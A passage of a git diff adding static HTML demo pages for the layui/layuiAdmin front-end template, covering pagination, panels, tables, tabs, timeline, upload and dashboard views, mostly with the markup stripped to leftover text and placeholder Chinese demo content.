      自定义首页、尾页、上一页、下一页文本
      +
      +
      +
      +
      +
      + +
      +
      +
      不显示首页尾页
      +
      +
      +
      +
      +
      + +
      +
      +
      开启HASH
      +
      +
      +
      +
      +
      + +
      +
      +
      只显示上一页、下一页
      +
      +
      +
      +
      +
      +
      +
      + + + \ No newline at end of file diff --git a/dist/views/component/laypage/demo2.html b/dist/views/component/laypage/demo2.html new file mode 100644 index 0000000..16cb1b2 --- /dev/null +++ b/dist/views/component/laypage/demo2.html @@ -0,0 +1,159 @@ + + + 功能演示2 - 通用分页组件 + + + +
      +
      +
      +
      +
      显示完整功能
      +
      +
      +
      +
      +
      + +
      +
      +
      自定义排版
      +
      +
      +
      +
      +
      +
      +
      + +
      +
      +
      自定义每页条数的选择项
      +
      +
      +
      +
      +
      + +
      +
      +
      将一段已知数组分页展示
      +
      +
      +
        +
        +
        +
        + +
        +
        + + + \ No newline at end of file diff --git a/dist/views/component/laytpl/index.html b/dist/views/component/laytpl/index.html new file mode 100644 index 0000000..500fad8 --- /dev/null +++ b/dist/views/component/laytpl/index.html @@ -0,0 +1,34 @@ + +模板引擎 + + + + + +
        + + + \ No newline at end of file diff --git a/dist/views/component/nav/index.html b/dist/views/component/nav/index.html new file mode 100644 index 0000000..843aa47 --- /dev/null +++ b/dist/views/component/nav/index.html @@ -0,0 +1,206 @@ + +导航 + +
        +
        + 主页 + 组件 + 导航 +
        +
        + + + +
        +
        +
        +
        +
        水平导航菜单
        + +
        +
        +
        导航带徽章和图片
        +
        + +
        +
        + +
        + +
        + +
        +
        面包屑
        + +
        +
        +
        +
        + + \ No newline at end of file diff --git a/dist/views/component/panel/index.html b/dist/views/component/panel/index.html new file mode 100644 index 0000000..b2a96c9 --- /dev/null +++ b/dist/views/component/panel/index.html @@ -0,0 +1,181 @@ + +面板 + +
        +
        + 主页 + 组件 + 面板 +
        +
        + + + +
        +
        +
        +
        +
        折叠面板
        +
        +
        +
        +

        为什么JS社区大量采用未发布或者未广泛支持的语言特性?

        +
        +

        有不少其他答案说是因为JS太差。我下面的答案已经说了,这不是根本性的原因。但除此之外,我还要纠正一些对JS具体问题的误解。JS当初是被作为脚本语言设计的,所以某些问题并不是JS设计得差或者是JS设计者的失误。比如var的作用域问题,并不是“错误”,而是当时绝大部分脚本语言都是这样的,如perl/php/sh等。模块的问题也是,脚本语言几乎都没有模块/命名空间功能。弱类型、for-in之类的问题也是,只不过现在用那些老的脚本语言的人比较少,所以很多人都误以为是JS才有的坑。另外有人说JS是半残语言,满足不了开发需求,1999年就该死。半残这个嘛,就夸张了。JS虽然有很多问题,但是设计总体还是优秀的。——来自知乎@贺师俊

        +
        +
        +
        +

        为什么前端工程师多不愿意用 Bootstrap 框架?

        +
        +

        因为不适合。如果希望开发长期的项目或者制作产品类网站,那么就需要实现特定的设计,为了在维护项目中可以方便地按设计师要求快速修改样式,肯定会逐步编写出各种业务组件、工具类,相当于为项目自行开发一套框架。——来自知乎@Kayo

        +
        +
        +
        +

        layui 更适合哪些开发者?

        +
        +

        在前端技术快速变革的今天,layui 仍然坚持语义化的组织模式,甚至于模块理念都是采用类AMD组织形式,并非是有意与时代背道而驰。layui 认为以jQuery为核心的开发方式还没有到完全消亡的时候,而早期市面上基于jQuery的UI都普通做得差强人意,所以需要有一个新的UI去重新为这一领域注入活力,并采用一些更科学的架构方式。 +

        + 因此准确地说,layui 更多是面向那些追求开发简单的前端工程师们,以及所有层次的服务端程序员。

        +
        +
        +
        +

        贤心是男是女?

        +
        +

        man! 所以这个问题不要再出现了。。。

        +
        +
        +
        +
        +
        +
        + +
        手风琴折叠
        +
        +
        +
        +

        layui 更适合哪些开发者?

        +
        +

        在前端技术快速变革的今天,layui 仍然坚持语义化的组织模式,甚至于模块理念都是采用类AMD组织形式,并非是有意与时代背道而驰。layui 认为以jQuery为核心的开发方式还没有到完全消亡的时候,而早期市面上基于jQuery的UI都普通做得差强人意,所以需要有一个新的UI去重新为这一领域注入活力,并采用一些更科学的架构方式。 +
        + 因此准确地说,layui 更多是面向那些追求开发简单的前端工程师们,以及所有层次的服务端程序员。

        +
        +
        +
        +

        为什么JS社区大量采用未发布或者未广泛支持的语言特性?

        +
        +

        有不少其他答案说是因为JS太差。我下面的答案已经说了,这不是根本性的原因。但除此之外,我还要纠正一些对JS具体问题的误解。JS当初是被作为脚本语言设计的,所以某些问题并不是JS设计得差或者是JS设计者的失误。比如var的作用域问题,并不是“错误”,而是当时绝大部分脚本语言都是这样的,如perl/php/sh等。模块的问题也是,脚本语言几乎都没有模块/命名空间功能。弱类型、for-in之类的问题也是,只不过现在用那些老的脚本语言的人比较少,所以很多人都误以为是JS才有的坑。另外有人说JS是半残语言,满足不了开发需求,1999年就该死。半残这个嘛,就夸张了。JS虽然有很多问题,但是设计总体还是优秀的。——来自知乎@贺师俊

        +
        +
        +
        +

        为什么前端工程师多不愿意用 Bootstrap 框架?

        +
        +

        因为不适合。如果希望开发长期的项目或者制作产品类网站,那么就需要实现特定的设计,为了在维护项目中可以方便地按设计师要求快速修改样式,肯定会逐步编写出各种业务组件、工具类,相当于为项目自行开发一套框架。——来自知乎@Kayo

        +
        +
        +
        +

        贤心是男是女?

        +
        +

        man! 所以这个问题不要再出现了。。。

        +
        +
        +
        +
        +
        +
        +
        +
        +
        折叠面板嵌套
        +
        +
        +
        +

        文豪

        +
        + +
        +
        +

        唐代

        +
        + +
        +
        +

        杜甫

        +
        + 伟大的诗人 +
        +
        +
        +

        李白

        +
        +

        据说是韩国人

        +
        +
        +
        +

        王勃

        +
        +

        千古绝唱《滕王阁序》

        +
        +
        +
        + +
        +
        +
        +

        宋代

        +
        +

        比如苏轼、李清照

        +
        +
        +
        +

        当代

        +
        +

        比如贤心

        +
        +
        +
        +
        +
        +
        +

        科学家

        +
        +

        伟大的科学家

        +
        +
        +
        +

        艺术家

        +
        +

        浑身散发着艺术细胞

        +
        +
        +
        +
        +
        +
        +
        +
        +
        卡片面板
        +
        + 就是当前这个 +
        +
        +
        +
        +
        + + \ No newline at end of file diff --git a/dist/views/component/progress/index.html b/dist/views/component/progress/index.html new file mode 100644 index 0000000..a4c873f --- /dev/null +++ b/dist/views/component/progress/index.html @@ -0,0 +1,159 @@ + +进度条 + +
        + +
        + + + +
        +
        +
        +
        +
        默认进度条
        +
        + +
        +
        +
        +
        +
        +
        +
        +
        +
        +
        +
        +
        +
        +
        +
        + +
        +
        +
        +
        +
        +
        更多颜色进度条
        +
        + +
        +
        +
        + +
        +
        +
        + +
        +
        +
        + +
        +
        +
        + +
        +
        +
        + +
        +
        +
        +
        +
        +
        +
        +
        +
        + +
        +
        +
        +
        +
        +
        动态改变进度
        +
        + +
        +
        +
        + +
        + + +
        + +
        +
        +
        +
        +
        +
        显示进度比文本
        +
        + +
        +
        +
        +
        +
        +
        +
        +
        +
        + +
        +
        +
        +
        +
        + + \ No newline at end of file diff --git a/dist/views/component/rate/index.html b/dist/views/component/rate/index.html new file mode 100644 index 0000000..da820e0 --- /dev/null +++ b/dist/views/component/rate/index.html @@ -0,0 +1,177 @@ + + + 评分组件 + +
        + +
        + +
        +
        +
        +
        +
        基础效果
        +
        +
        +
        +
        +
        +
        显示文字
        +
        +
        +
        +
        +
        +
        半星效果
        +
        +
        +
        +
        +
        +
        +
        自定义主题色
        +
        +
          +
        • +
        • +
        • +
        • +
        • +
        +
        +
        +
        +
        +
        +
        只读
        +
        +
        +
        +
        +
        +
        自定义内容
        +
        +
        +
        +
        +
        +
        +
        自定义长度
        +
        +
        +
        +
        +
        +
        + +
        +
        + + \ No newline at end of file diff --git a/dist/views/component/slider/index.html b/dist/views/component/slider/index.html new file mode 100644 index 0000000..a578a20 --- /dev/null +++ b/dist/views/component/slider/index.html @@ -0,0 +1,216 @@ + + + 滑块组件 + +
        + +
        + + + +
        +
        +
        +
        +
        基础效果
        +
        +
        +
        +
        +
        +
        定义初始值
        +
        +
        +
        +
        +
        +
        设置最大最小值
        +
        +
        +
        +
        +
        +
        设置步长
        +
        +
        +
        +
        +
        +
        +
        设置提示文本
        +
        +
        +
        +
        +
        +
        +
        +
        开启输入框
        +
        +
        +
        +
        +
        +
        +
        +
        开启范围选择
        +
        +
        +
        +
        +
        +
        +
        +
        垂直滑块
        +
        +
        +
        +
        +
        +
        +
        +
        +
        自定义颜色
        +
        +
        +
        +
        +
        +
        +
        +
        禁用滑块
        +
        +
        +
        +
        +
        +
        +
        + + \ No newline at end of file diff --git a/dist/views/component/table/auto.html b/dist/views/component/table/auto.html new file mode 100644 index 0000000..f9e229e --- /dev/null +++ b/dist/views/component/table/auto.html @@ -0,0 +1,49 @@ + + + 列宽自动分配 - 数据表格 + + + +
        +
        +
        +
        +
        列宽自动分配
        +
        +
        +
        +
        +
        +
        +
        + + \ No newline at end of file diff --git a/dist/views/component/table/cellEdit.html b/dist/views/component/table/cellEdit.html new file mode 100644 index 0000000..74c8764 --- /dev/null +++ b/dist/views/component/table/cellEdit.html @@ -0,0 +1,56 @@ + + + 开启单元格编辑 - 数据表格 + + + +
        +
        +
        +
        +
        开启单元格编辑
        +
        +
        +
        +
        +
        +
        +
        + + \ No newline at end of file diff --git a/dist/views/component/table/cellEvent.html b/dist/views/component/table/cellEvent.html new file mode 100644 index 0000000..0684b58 --- /dev/null +++ b/dist/views/component/table/cellEvent.html @@ -0,0 +1,67 @@ + + + 监听单元格事件 - 数据表格 + + + +
        +
        +
        +
        +
        监听单元格事件
        +
        +
        点击下面表格中的【签名列】,以演示单元格事件
        +
        +
        +
        +
        +
        +
        + + \ No newline at end of file diff --git a/dist/views/component/table/checkbox.html b/dist/views/component/table/checkbox.html new file mode 100644 index 0000000..8bbbb69 --- /dev/null +++ b/dist/views/component/table/checkbox.html @@ -0,0 +1,50 @@ + + + 开启复选框 - 数据表格 + + + +
        +
        +
        +
        +
        开启复选框
        +
        +
        +
        +
        +
        +
        +
        + + \ No newline at end of file diff --git a/dist/views/component/table/data.html b/dist/views/component/table/data.html new file mode 100644 index 0000000..825fa12 --- /dev/null +++ b/dist/views/component/table/data.html @@ -0,0 +1,141 @@ + + + 赋值已知数据 - 数据表格 + + + +
        +
        +
        +
        +
        赋值已知数据
        +
        +
        +
        +
        +
        +
        +
        + + \ No newline at end of file diff --git a/dist/views/component/table/fixed.html b/dist/views/component/table/fixed.html new file mode 100644 index 0000000..103fa05 --- /dev/null +++ b/dist/views/component/table/fixed.html @@ -0,0 +1,53 @@ + + + 固定列 - 数据表格 + + + +
        +
        +
        +
        +
        固定列
        +
        +
        +
        +
        +
        +
        +
        + + \ No newline at end of file diff --git a/dist/views/component/table/form.html b/dist/views/component/table/form.html new file mode 100644 index 0000000..55f7766 --- /dev/null +++ b/dist/views/component/table/form.html @@ -0,0 +1,82 @@ + + + 加入表单元素 - 数据表格 + + + +
        +
        +
        +
        +
        加入表单元素
        +
        +
        + + + + + +
        +
        +
        +
        +
        + + \ No newline at end of file diff --git a/dist/views/component/table/height.html b/dist/views/component/table/height.html new file mode 100644 index 0000000..874c75f --- /dev/null +++ b/dist/views/component/table/height.html @@ -0,0 +1,51 @@ + + + 高度最大适应 - 数据表格 + + + +
        +
        +
        +
        +
        高度最大适应
        +
        +
        +
        +
        +
        +
        +
        + + \ No newline at end of file diff --git a/dist/views/component/table/initSort.html b/dist/views/component/table/initSort.html new file mode 100644 index 0000000..244e30f --- /dev/null +++ b/dist/views/component/table/initSort.html @@ -0,0 +1,48 @@ + + + 设置初始排序 - 数据表格 + + + +
        +
        +
        +
        +
        设置初始排序
        +
        +
        +
        +
        +
        +
        +
        + + \ No newline at end of file diff --git a/dist/views/component/table/onrow.html b/dist/views/component/table/onrow.html new file mode 100644 index 0000000..c401141 --- /dev/null +++ b/dist/views/component/table/onrow.html @@ -0,0 +1,67 @@ + + + 监听行事件 - 数据表格 + + + +
        +
        +
        +
        +
        监听行事件
        +
        + +
        + +
        +
        +
        +
        +
        + + \ No newline at end of file diff --git a/dist/views/component/table/operate.html b/dist/views/component/table/operate.html new file mode 100644 index 0000000..9f17bc2 --- /dev/null +++ b/dist/views/component/table/operate.html @@ -0,0 +1,107 @@ + + + 数据操作 - 数据表格 + + + +
        +
        +
        +
        +
        数据操作
        +
        +
        + + + +
        + +
        + + +
        +
        +
        +
        +
        + + \ No newline at end of file diff --git a/dist/views/component/table/page.html b/dist/views/component/table/page.html new file mode 100644 index 0000000..c09639f --- /dev/null +++ b/dist/views/component/table/page.html @@ -0,0 +1,57 @@ + + + 开启分页 - 数据表格 + + + +
        +
        +
        +
        +
        开启分页
        +
        +
        +
        +
        +
        +
        +
        + + \ No newline at end of file diff --git a/dist/views/component/table/parseData.html b/dist/views/component/table/parseData.html new file mode 100644 index 0000000..da07ae5 --- /dev/null +++ b/dist/views/component/table/parseData.html @@ -0,0 +1,65 @@ + + + 解析任意数据格式 - 数据表格 + + + +
        +
        +
        +
        +
        解析任意数据格式
        +
        +
        + 尽管本示例中的原始数据:./json/table/demo3.js,并不符合 table 组件默认规定的数据格式,但从 layui 2.4.0 开始,新增的 parseData 回调可以将原始的任意格式的数据重新解析成 table 组件规定的数据格式。具体可以点击上方查看代码。 +
        + +
        + +
        +
        +
        +
        +
        + + \ No newline at end of file diff --git a/dist/views/component/table/radio.html b/dist/views/component/table/radio.html new file mode 100644 index 0000000..83a3936 --- /dev/null +++ b/dist/views/component/table/radio.html @@ -0,0 +1,70 @@ + + + 开启单选框 - 数据表格 + + + +
        +
        +
        +
        +
        开启单选框
        +
        +
        + + + +
        +
        +
        +
        +
        + + \ No newline at end of file diff --git a/dist/views/component/table/reload.html b/dist/views/component/table/reload.html new file mode 100644 index 0000000..cb1ddfd --- /dev/null +++ b/dist/views/component/table/reload.html @@ -0,0 +1,87 @@ + + + 数据表格的重载 - 数据表格 + + + +
        +
        +
        +
        +
        数据表格的重载
        +
        + +
        + 搜索ID: +
        + +
        + +
        + +
        + +
        此处由于是静态模拟数据,所以搜索后重载的结果没变,这并非是 BUG。实际使用时改成真实接口并根据搜索的字段筛选出对应的数据即可。
        + +
        +
        +
        +
        +
        + + \ No newline at end of file diff --git a/dist/views/component/table/resetPage.html b/dist/views/component/table/resetPage.html new file mode 100644 index 0000000..b4d1b17 --- /dev/null +++ b/dist/views/component/table/resetPage.html @@ -0,0 +1,58 @@ + + + 自定义分页 - 数据表格 + + + +
        +
        +
        +
        +
        自定义分页
        +
        +
        +
        +
        +
        +
        +
        + + \ No newline at end of file diff --git a/dist/views/component/table/simple.html b/dist/views/component/table/simple.html new file mode 100644 index 0000000..057e220 --- /dev/null +++ b/dist/views/component/table/simple.html @@ -0,0 +1,48 @@ + + + 简单用法 - 数据表格 + + + +
        +
        +
        +
        +
        简单用法
        +
        +
        +
        +
        +
        +
        +
        + + \ No newline at end of file diff --git a/dist/views/component/table/static.html b/dist/views/component/table/static.html new file mode 100644 index 0000000..a03ca50 --- /dev/null +++ b/dist/views/component/table/static.html @@ -0,0 +1,309 @@ + + + 静态表格 + +
        + +
        + +
        +
        +
        +
        +
        默认风格
        +
        + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        人物民族出场时间格言
        贤心汉族1989-10-14人生似修行
        张爱玲汉族1920-09-30于千万人之中遇见你所遇见的人,于千万年之中,时间的无涯的荒野里…
        Helen Keller拉丁美裔1880-06-27 Life is either a daring adventure or nothing.
        岳飞汉族1103-北宋崇宁二年教科书再滥改,也抹不去“民族英雄”的事实
        孟子华夏族(汉族)公元前-372年猿强,则国强。国强,则猿更强!
        +
        +
        +
        +
        +
        +
        行边框风格
        +
        + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        人物民族出场时间格言
        贤心汉族1989-10-14人生似修行
        张爱玲汉族1920-09-30于千万人之中遇见你所遇见的人,于千万年之中,时间的无涯的荒野里…
        Helen Keller拉丁美裔1880-06-27 Life is either a daring adventure or nothing.
        岳飞汉族1103-北宋崇宁二年教科书再滥改,也抹不去“民族英雄”的事实
        孟子华夏族(汉族)公元前-372年猿强,则国强。国强,则猿更强!
        +
        +
        +
        +
        +
        +
        列边框风格
        +
        + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        人物民族出场时间格言
        贤心汉族1989-10-14人生似修行
        张爱玲汉族1920-09-30于千万人之中遇见你所遇见的人,于千万年之中,时间的无涯的荒野里…
        Helen Keller拉丁美裔1880-06-27 Life is either a daring adventure or nothing.
        岳飞汉族1103-北宋崇宁二年教科书再滥改,也抹不去“民族英雄”的事实
        孟子华夏族(汉族)公元前-372年猿强,则国强。国强,则猿更强!
        +
        +
        +
        +
        +
        +
        无边框风格
        +
        + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        人物民族出场时间格言
        贤心汉族1989-10-14人生似修行
        张爱玲汉族1920-09-30于千万人之中遇见你所遇见的人,于千万年之中,时间的无涯的荒野里…
        Helen Keller拉丁美裔1880-06-27 Life is either a daring adventure or nothing.
        岳飞汉族1103-北宋崇宁二年教科书再滥改,也抹不去“民族英雄”的事实
        孟子华夏族(汉族)公元前-372年猿强,则国强。国强,则猿更强!
        +
        +
        +
        +
        +
        +
        其它尺寸
        +
        + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        昵称加入时间签名
        贤心2016-11-29人生就像是一场修行
        许闲心2016-11-28于千万人之中遇见你所遇见的人,于千万年之中,时间的无涯的荒野里…
        sentsin2016-11-27 Life is either a daring adventure or nothing.
        + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        昵称加入时间签名
        贤心2016-11-29人生就像是一场修行
        许闲心2016-11-28于千万人之中遇见你所遇见的人,于千万年之中,时间的无涯的荒野里…
        sentsin2016-11-27 Life is either a daring adventure or nothing.
        +
        +
        +
        +
        +
        + + \ No newline at end of file diff --git a/dist/views/component/table/style.html b/dist/views/component/table/style.html new file mode 100644 index 0000000..6864c98 --- /dev/null +++ b/dist/views/component/table/style.html @@ -0,0 +1,63 @@ + + + 设置单元格样式 - 数据表格 + + + +
        +
        +
        +
        +
        设置单元格样式
        +
        +
        + + + +
        +
        +
        +
        +
        + + \ No newline at end of file diff --git a/dist/views/component/table/thead.html b/dist/views/component/table/thead.html new file mode 100644 index 0000000..1b0b1e3 --- /dev/null +++ b/dist/views/component/table/thead.html @@ -0,0 +1,96 @@ + + + 复杂表头 - 数据表格 + + + +
        +
        +
        +
        +
        复杂表头
        +
        +
        + 常用两级表头 +
        + + + + + + + + + + + + + + + + +
        联系人地址金额操作
        + +
        + +
        + 更多级表头(可以无限极) +
        + + + + + + + + + + + + + + + + + + + + + + +
        联系人金额地址1地址2操作
        详细
        街道小区单元
        + + + +
        +
        注:上述例子读取的均是静态模拟数据
        +
        +
        +
        +
        +
        + + \ No newline at end of file diff --git a/dist/views/component/table/toolbar.html b/dist/views/component/table/toolbar.html new file mode 100644 index 0000000..fefa71a --- /dev/null +++ b/dist/views/component/table/toolbar.html @@ -0,0 +1,109 @@ + + + 开启头部工具栏 - 数据表格 + + + +
        +
        +
        +
        +
        开启头部工具栏
        +
        +
        + + + + +
        +
        +
        +
        +
        + + \ No newline at end of file diff --git a/dist/views/component/table/tostatic.html b/dist/views/component/table/tostatic.html new file mode 100644 index 0000000..aa1073c --- /dev/null +++ b/dist/views/component/table/tostatic.html @@ -0,0 +1,75 @@ + + + 转化静态表格 - 数据表格 + + + +
        +
        +
        +
        +
        转化静态表格
        +
        + +
        + +
        + + + + + + + + + + + + + + + + + + + + + + + + + + +
        昵称加入时间签名
        贤心12016-11-28人生就像是一场修行 A
        贤心22016-11-29人生就像是一场修行 B
        贤心32016-11-30人生就像是一场修行 C
        +
        +
        +
        +
        +
        + + \ No newline at end of file diff --git a/dist/views/component/table/totalRow.html b/dist/views/component/table/totalRow.html new file mode 100644 index 0000000..27a8cf4 --- /dev/null +++ b/dist/views/component/table/totalRow.html @@ -0,0 +1,78 @@ + + + 开启合计行 - 数据表格 + + + +
        +
        +
        +
        +
        开启合计行
        +
        +
        + + + +
        +
        +
        +
        +
        + + \ No newline at end of file diff --git a/dist/views/component/tabs/index.html b/dist/views/component/tabs/index.html new file mode 100644 index 0000000..c495cd1 --- /dev/null +++ b/dist/views/component/tabs/index.html @@ -0,0 +1,188 @@ + +选项卡组件 + +
        + +
        + + + +
        +
        +
        +
        +
        默认风格
        +
        +
        +
          +
        • 网站设置
        • +
        • 用户管理
        • +
        • 权限分配
        • +
        • 商品管理
        • +
        • 订单管理
        • +
        +
        +
        + 1. 高度默认自适应,也可以随意固宽。 +
        2. Tab进行了响应式处理,所以无需担心数量多少。 +
        +
        内容2
        +
        内容3
        +
        内容4
        +
        内容5
        +
        +
        +
        +
        +
        +
        简洁风格
        +
        +
        +
          +
        • 网站设置
        • +
        • 用户管理
        • +
        • 权限分配
        • +
        • 商品管理
        • +
        • 订单管理
        • +
        +
        +
        + 你也可以监听 tab 事件 +
        +
        内容2
        +
        内容3
        +
        内容4
        +
        内容5
        +
        +
        +
        +
        +
        +
        卡片风格
        +
        +
        +
          +
        • 网站设置
        • +
        • 用户管理
        • +
        • 权限分配
        • +
        • 商品管理
        • +
        • 订单管理
        • +
        +
        +
        默认宽度是相对于父元素100%适应的,你也可以固定宽度。
        +
        2
        +
        3
        +
        4
        +
        5
        +
        6
        +
        +
        +
        +
        +
        +
        +
        +
        动态操作
        +
        +
        +
          +
        • 网站设置
        • +
        • 用户管理
        • +
        • 权限分配
        • +
        • 商品管理
        • +
        • 订单管理
        • +
        +
        +
        内容1
        +
        内容2
        +
        内容3
        +
        +
        +
        + + + +
        +
        +
        +
        +
        记录状态
        +
        +
        +
          +
        • 网站设置
        • +
        • 用户管理
        • +
        • 权限分配
        • +
        • 商品管理
        • +
        • 订单管理
        • +
        +
        +
        + 点击该Tab的任一标题,观察地址栏变化,再刷新页面。选项卡将会自动定位到上一次切换的项 +
        +
        内容2
        +
        内容3
        +
        内容4
        +
        内容5
        +
        +
        +
        +
        +
        +
        + + \ No newline at end of file diff --git a/dist/views/component/timeline/index.html b/dist/views/component/timeline/index.html new file mode 100644 index 0000000..4c437d9 --- /dev/null +++ b/dist/views/component/timeline/index.html @@ -0,0 +1,121 @@ + +时间线 + +
        + +
        + + + +
        +
        +
        +
        +
        常规时间线
        +
        + +
          +
        • + +
          +

          12月28日

          +

          + 一直以来,layui 秉承无偿开源的初心,虔诚致力于服务各层次前后端 Web 开发者,在商业横飞的当今时代,这一信念从未动摇。即便身单力薄,仍然重拾决心,埋头造轮,以尽可能地填补产品本身的缺口。在过去的一段的时间,我一直在寻求持久之道,已维持你眼前所见的一切。而 layuiAdmin 是我们尝试解决的手段之一。我相信真正有爱于 layui 生态的你,定然不会错过这一拥抱吧。 +

          +


          子曰:君子不用防,小人防不住。请务必通过官网正规渠道,获得 layuiAdmin

          +
          +
        • +
        • + +
          +

          12月25日

          +

          又是一年 “圣诞节”,2018 向我们正在走来

          +
            +
          • 叮叮当,叮叮当,铃儿响叮当
          • +
          • 今晚滑雪多快乐,我们坐在雪橇上
          • +
          +
          +
        • +
        • + +
          +

          12月24日

          +

          + 美丽的夜晚,都是祈祷的人们。
          他们等待着第二天,收到圣诞老人的礼物。

          +

          +
          平安夜,天赐平安。愿真善美的事物都能永恒。
          +
          +
        • +
        • + +
          +
          过去
          +
          +
        • +
        + +
        +
        +
        +
        +
        +
        简约时间线
        +
        + +
          +
        • + +
          +
          + 2018年,layui 5.0 发布,并发展成为中国最受欢迎的前端 UI 框架(期望) +
          +
          +
        • +
        • + +
          +
          2017年,layui 里程碑版本 2.0 发布
          +
          +
        • +
        • + +
          +
          2016年,layui 首个版本发布
          +
          +
        • +
        • + +
          +
          2015年,layui 孵化
          +
          +
        • +
        • + +
          +
          更久前,轮子时代。维护几个独立组件:layer等
          +
          +
        • +
        + +
        +
        +
        +
        +
        + + \ No newline at end of file diff --git a/dist/views/component/transfer/index.html b/dist/views/component/transfer/index.html new file mode 100644 index 0000000..a87f965 --- /dev/null +++ b/dist/views/component/transfer/index.html @@ -0,0 +1,185 @@ + + + 穿梭框组件 + + + +
        +
        +
        +
        +
        基础效果
        +
        +
        +
        +
        +
        +
        定义标题及数据源
        +
        +
        +
        +
        +
        +
        初始右侧数据集合
        +
        +
        +
        +
        +
        +
        显示搜索框
        +
        +
        +
        +
        +
        +
        数据格式解析
        +
        +
        +
        +
        +
        +
        穿梭时的回调
        +
        +
        +
        +
        +
        +
        实例调用
        +
        +
        + + +
        +
        +
        +
        +
        +
        +
        + + \ No newline at end of file diff --git a/dist/views/component/tree/index.html b/dist/views/component/tree/index.html new file mode 100644 index 0000000..fffaa8a --- /dev/null +++ b/dist/views/component/tree/index.html @@ -0,0 +1,432 @@ + + + 树形组件 + +
        + +
        + +
        +
        +
        +
        +
        基本演示
        +
        +
        + + + +
        +
        +
        +
        +
        +
        常规用法
        +
        +
        +
        +
        +
        +
        无连接线风格
        +
        +
        +
        +
        +
        +
        仅节点左侧图标控制收缩
        +
        +
        +
        +
        +
        +
        手风琴模式
        +
        +
        +
        +
        +
        +
        点击节点新窗口跳转
        +
        +
        +
        +
        +
        +
        开启复选框
        +
        +
        +
        +
        +
        +
        开启节点操作图标
        +
        +
        +
        +
        +
        +
        +
        + + \ No newline at end of file diff --git a/dist/views/component/upload/demo1.html b/dist/views/component/upload/demo1.html new file mode 100644 index 0000000..2c2c6f9 --- /dev/null +++ b/dist/views/component/upload/demo1.html @@ -0,0 +1,199 @@ + + + 功能演示一 - 上传组件 + + + + + +
        +
        +
        +
        +
        普通图片上传
        +
        +
        + +
        + +

        +
        +
        +
        + 为节省服务器开销,以下示例均未配置真实上传接口,所以每次上传都会报提示:请求上传接口出现异常,这属于正常现象。 +
        +
        +
        +
        + +
        +
        +
        上传多张图片
        +
        +
        + +
        + 预览图: +
        +
        +
        +
        +
        +
        + +
        +
        +
        指定允许上传的文件类型
        +
        + + + + +
        +
        +
        + +
        +
        +
        设定文件大小限制
        +
        + +
        + 这里以限制 60KB 为例 +
        +
        +
        +
        + +
        +
        +
        同时绑定多个元素,并将属性设定在元素上
        +
        + + + +
        +
        +
        + +
        +
        + + \ No newline at end of file diff --git a/dist/views/component/upload/demo2.html b/dist/views/component/upload/demo2.html new file mode 100644 index 0000000..7a64c9e --- /dev/null +++ b/dist/views/component/upload/demo2.html @@ -0,0 +1,167 @@ + + + 功能演示二 - 上传组件 + + + +
        +
        +
        +
        +
        选完文件后不自动上传
        +
        +
        + + +
        +
        +
        +
        + +
        +
        +
        拖拽上传
        +
        +
        + +

        点击上传,或将文件拖拽到此处

        +
        +
        +
        +
        + +
        +
        +
        高级应用:制作一个多文件列表
        +
        +
        + +
        + + + + + + + + +
        文件名大小状态操作
        +
        + +
        +
        +
        +
        + +
        +
        +
        绑定原始文件域
        +
        + +
        +
        +
        + +
        +
        + + \ No newline at end of file diff --git a/dist/views/component/util/index.html b/dist/views/component/util/index.html new file mode 100644 index 0000000..0aa1a18 --- /dev/null +++ b/dist/views/component/util/index.html @@ -0,0 +1,90 @@ + + + 工具模块 - 组件 + +
        + +
        + +
        +
        +
        +
        +
        倒计时
        +
        + 请选择要计算的日期: +
        + +
        +
        +
        +
        +
        +
        +
        + +
        +
        +
        某个时间在当前时间的多久前
        +
        + 请选择要计算的日期: +
        + +
        + +
        +
        +
        + +
        +
        + + \ No newline at end of file diff --git a/dist/views/component/说明.txt b/dist/views/component/说明.txt new file mode 100644 index 0000000..f94674f --- /dev/null +++ b/dist/views/component/说明.txt @@ -0,0 +1,2 @@ + +该目录存放【组件】的视图文件 \ No newline at end of file diff --git a/dist/views/home/homepage1.html b/dist/views/home/homepage1.html new file mode 100644 index 0000000..0e4bbec --- /dev/null +++ b/dist/views/home/homepage1.html @@ -0,0 +1,194 @@ + +主页一 + +
        + +
        + +
        +
        +
        +
        +
        + 最近更新 + 全部更新 +
        +
        +
        +
        +
        + +

        修复开启 isLazyimg:true 后, 图片懒加载但是图片不存在的报错问题

        +

        流加载7 天前

        +
        +
        +
        +
        + +

        修复开启 size 参数后,文件超出规定大小时,提示信息有误的问题

        +

        文件上传7 天前

        +
        +
        +
        +
        + +

        增加 form.val(filter, fields)方法,用于给指定表单集合的元素初始赋值

        +

        表单7 天前

        +
        +
        +
        +
        + +

        对 select 组件新增上下键(↑ ↓)回车键(Enter)选择功能

        +

        表单7 天前

        +
        +
        +
        +
        + +

        优化 switch 开关组件,让其能根据文本自由伸缩宽

        +

        表单7 天前

        +
        +
        +
        +
        + +

        修复 checkbox 复选框组件在高分辨屏下出现的样式不雅问题

        +

        表单7 天前

        +
        +
        +
        +
        +
        +
        +
        动态
        +
        +
        +
        +
        +
        +

        胡歌 在 layuiadmin专区 回答问题

        + 几秒前 +
        +
        +
        +
        +
        +

        彭于晏 在 layuiadmin专区 进行了 提问

        + 2天前 +
        +
        +
        +
        +
        +

        贤心 将 layui 更新至 2.3.0-rc1 版本

        + 7天前 +
        +
        +
        +
        +
        +

        吴尊 在 Fly社区 发布了 建议

        + 7天前 +
        +
        +
        +
        +
        +

        许上进 在 Fly社区 发布了 建议

        + 8天前 +
        +
        +
        +
        +
        +

        小蚊子 在 layuiadmin专区 进行了 提问

        + 8天前 +
        +
        +
        +
        +
        +
        +
        +
        +
        快速开始/便捷导航
        +
        + +
        +
        +
        +
        八卦新闻
        +
        + + + +
        +
        + +
        +
        +
        + + \ No newline at end of file diff --git a/dist/views/home/homepage2.html b/dist/views/home/homepage2.html new file mode 100644 index 0000000..1a23400 --- /dev/null +++ b/dist/views/home/homepage2.html @@ -0,0 +1,306 @@ + +主页二 + +
        + +
        + +
        +
        +
        +
        +
        + 访问量 + +
        +
        +

        9,999,666

        +

        + 总计访问量 + 88万 +
